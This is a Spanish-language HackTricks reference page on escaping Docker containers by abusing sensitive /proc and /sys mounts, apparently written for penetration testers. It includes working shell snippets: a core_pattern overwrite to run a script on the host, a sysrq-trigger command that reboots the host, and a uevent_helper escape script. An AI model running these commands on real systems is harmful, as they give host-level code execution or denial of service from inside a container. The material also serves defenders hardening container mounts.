hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

16 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

(Esta información fue tomada de https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)

Debido a la falta de soporte de namespace, la exposición de /proc y /sys ofrece una fuente de superficie de ataque significativa y divulgación de información. Numerosos archivos dentro de procfs y sysfs ofrecen un riesgo de escape de contenedor, modificación de host o divulgación de información básica que podría facilitar otros ataques.

Para abusar de estas técnicas, podría ser suficiente con configurar algo mal como -v /proc:/host/proc ya que AppArmor no protege /host/proc porque AppArmor se basa en la ruta.

procfs

/proc/sys

/proc/sys permite típicamente el acceso para modificar variables del kernel, a menudo controladas a través de sysctl(2).

/proc/sys/kernel/core_pattern

/proc/sys/kernel/core_pattern define un programa que se ejecuta en la generación de archivos de núcleo (típicamente un fallo del programa) y se pasa el archivo de núcleo como entrada estándar si el primer carácter de este archivo es un símbolo de tubería |. Este programa se ejecuta por el usuario root y permitirá hasta 128 bytes de argumentos de línea de comandos. Esto permitiría la ejecución trivial de código dentro del host del contenedor dado cualquier fallo y generación de archivo de núcleo (que se puede descartar fácilmente durante una miríada de acciones maliciosas).

[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern
sleep 5 && ./crash &

/proc/sys/kernel/modprobe

/proc/sys/kernel/modprobe contiene la ruta al cargador de módulos del kernel, que se llama al cargar un módulo del kernel como a través del comando modprobe. La ejecución de código se puede obtener realizando cualquier acción que haga que el kernel intente cargar un módulo del kernel (como usar la cripto-API para cargar un módulo de criptografía actualmente no cargado, o usar ifconfig para cargar un módulo de red para un dispositivo que no se está utilizando actualmente).

# Check if you can directly access modprobe
ls -l `cat /proc/sys/kernel/modprobe`

/proc/sys/vm/panic_on_oom

/proc/sys/vm/panic_on_oom es una bandera global que determina si el kernel entrará en pánico cuando se alcance una condición de falta de memoria (OOM) (en lugar de invocar al OOM killer). Esto es más un ataque de denegación de servicio (DoS) que una fuga de contenedor, pero no deja de exponer una capacidad que solo debería estar disponible para el host.

/proc/sys/fs

El directorio /proc/sys/fs contiene una serie de opciones e información sobre varios aspectos del sistema de archivos, incluyendo cuotas, manejo de archivos, información de inodos y dentries. El acceso de escritura a este directorio permitiría varios ataques de denegación de servicio contra el host.

/proc/sys/fs/binfmt_misc

/proc/sys/fs/binfmt_misc permite la ejecución de formatos binarios diversos, lo que generalmente significa que se pueden registrar varios intérpretes para formatos binarios no nativos (como Java) basados en su número mágico. Puede hacer que el kernel ejecute un binario registrándolo como manejadores.
Puede encontrar una explotación en https://github.com/toffan/binfmt_misc: Rootkit de hombre pobre, aprovecha la opción credentials de binfmt_misc para escalar privilegios a través de cualquier binario suid (y obtener una shell de root) si /proc/sys/fs/binfmt_misc/register es escribible.

Para obtener una explicación más detallada de esta técnica, consulte https://www.youtube.com/watch?v=WBC7hhgMvQQ

/proc/config.gz

/proc/config.gz dependiendo de la configuración CONFIG_IKCONFIG_PROC, esto expone una versión comprimida de las opciones de configuración del kernel para el kernel en ejecución. Esto puede permitir que un contenedor comprometido o malintencionado descubra y apunte fácilmente a áreas vulnerables habilitadas en el kernel.

/proc/sysrq-trigger

Sysrq es un mecanismo antiguo que se puede invocar a través de una combinación especial de teclas SysRq. Esto puede permitir un reinicio inmediato del sistema, emisión de sync(2), remontaje de todos los sistemas de archivos como solo lectura, invocación de depuradores del kernel y otras operaciones.

Si el invitado no está correctamente aislado, puede activar los comandos sysrq escribiendo caracteres en el archivo /proc/sysrq-trigger.

# Reboot the host
echo b > /proc/sysrq-trigger

/proc/kmsg

/proc/kmsg puede exponer mensajes del buffer de anillo del kernel que normalmente se acceden a través de dmesg. La exposición de esta información puede ayudar en la explotación del kernel, desencadenar fugas de direcciones del kernel (que podrían usarse para ayudar a derrotar la aleatorización del espacio de direcciones del kernel (KASLR)) y ser una fuente de divulgación general de información sobre el kernel, hardware, paquetes bloqueados y otros detalles del sistema.

/proc/kallsyms

/proc/kallsyms contiene una lista de símbolos exportados del kernel y sus ubicaciones de dirección para módulos dinámicos y cargables. Esto también incluye la ubicación de la imagen del kernel en la memoria física, lo que es útil para el desarrollo de la explotación del kernel. A partir de estas ubicaciones, se puede ubicar la dirección base o el desplazamiento del kernel, que se puede usar para superar la aleatorización del espacio de direcciones del kernel (KASLR).

Para sistemas con kptr_restrict establecido en 1 o 2, este archivo existirá pero no proporcionará ninguna información de dirección (aunque el orden en que se enumeran los símbolos es idéntico al orden en la memoria).

/proc/[pid]/mem

/proc/[pid]/mem expone interfaces al dispositivo de memoria del kernel /dev/mem. Si bien el PID Namespace puede proteger contra algunos ataques a través de este vector procfs, esta área ha sido históricamente vulnerable, luego se consideró segura y nuevamente se descubrió que era vulnerable para la escalada de privilegios.

/proc/kcore

/proc/kcore representa la memoria física del sistema y está en un formato de núcleo ELF (que se encuentra típicamente en archivos de volcado de núcleo). No permite escribir en dicha memoria. La capacidad de leer este archivo (restringido a usuarios privilegiados) puede filtrar el contenido de la memoria del sistema anfitrión y otros contenedores.

El tamaño de archivo informado grande representa la cantidad máxima de memoria físicamente direccionable para la arquitectura y puede causar problemas al leerlo (o fallas dependiendo de la fragilidad del software).

Volcado de /proc/kcore en 2019

/proc/kmem

/proc/kmem es una interfaz alternativa para /dev/kmem (acceso directo al cual está bloqueado por la lista blanca del dispositivo cgroup), que es un archivo de dispositivo de caracteres que representa la memoria virtual del kernel. Permite tanto la lectura como la escritura, lo que permite la modificación directa de la memoria del kernel.

/proc/mem

/proc/mem es una interfaz alternativa para /dev/mem (acceso directo al cual está bloqueado por la lista blanca del dispositivo cgroup), que es un archivo de dispositivo de caracteres que representa la memoria física del sistema. Permite tanto la lectura como la escritura, lo que permite la modificación de toda la memoria. (Requiere un poco más de habilidad que kmem, ya que primero se deben resolver las direcciones virtuales a direcciones físicas).

/proc/sched_debug

/proc/sched_debug es un archivo especial que devuelve información de programación de procesos para todo el sistema. Esta información incluye nombres de procesos e identificadores de procesos de todas las namespaces, además de identificadores de cgroups de procesos. Esto efectivamente evita las protecciones del PID namespace y es legible por otros/mundo, por lo que también se puede explotar en contenedores no privilegiados.

/proc/[pid]/mountinfo

/proc/[pid]/mountinfo contiene información sobre los puntos de montaje en el espacio de nombres de montaje del proceso. Expone la ubicación del rootfs o imagen del contenedor.

sysfs

/sys/kernel/uevent_helper

Los uevents son eventos desencadenados por el kernel cuando se agrega o elimina un dispositivo. Es notable que la ruta para el uevent_helper se puede modificar escribiendo en /sys/kernel/uevent_helper. Luego, cuando se desencadena un uevent (que también se puede hacer desde el espacio de usuario escribiendo en archivos como /sys/class/mem/null/uevent), se ejecuta el uevent_helper malicioso.

# Creates a payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets uevent_helper to /path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# Triggers a uevent
echo change > /sys/class/mem/null/uevent
# or else
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# Reads the output
cat /output

/sys/class/thermal

Acceso a ACPI y varios ajustes de hardware para el control de temperatura, típicamente encontrados en laptops o placas madre de gaming. Esto puede permitir ataques DoS contra el host del contenedor, lo que incluso puede llevar a daños físicos.

/sys/kernel/vmcoreinfo

Este archivo puede filtrar direcciones del kernel que podrían ser utilizadas para derrotar KASLR.

/sys/kernel/security

En /sys/kernel/security se monta la interfaz securityfs, que permite la configuración de los Módulos de Seguridad de Linux. Esto permite la configuración de las políticas de AppArmor, y por lo tanto, el acceso a esto puede permitir que un contenedor deshabilite su sistema MAC.

/sys/firmware/efi/vars

/sys/firmware/efi/vars expone interfaces para interactuar con las variables EFI en NVRAM. Aunque esto no es típicamente relevante para la mayoría de los servidores, EFI se está volviendo cada vez más popular. Debilidades en los permisos incluso han llevado a algunos laptops inutilizables.

/sys/firmware/efi/efivars

/sys/firmware/efi/efivars proporciona una interfaz para escribir en la NVRAM utilizada para los argumentos de arranque UEFI. Modificarlos puede hacer que la máquina host no se pueda arrancar.

/sys/kernel/debug

debugfs proporciona una interfaz "sin reglas" mediante la cual el kernel (o los módulos del kernel) pueden crear interfaces de depuración accesibles a userland. Ha tenido varios problemas de seguridad en el pasado, y las directrices "sin reglas" detrás del sistema de archivos a menudo han chocado con las restricciones de seguridad.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥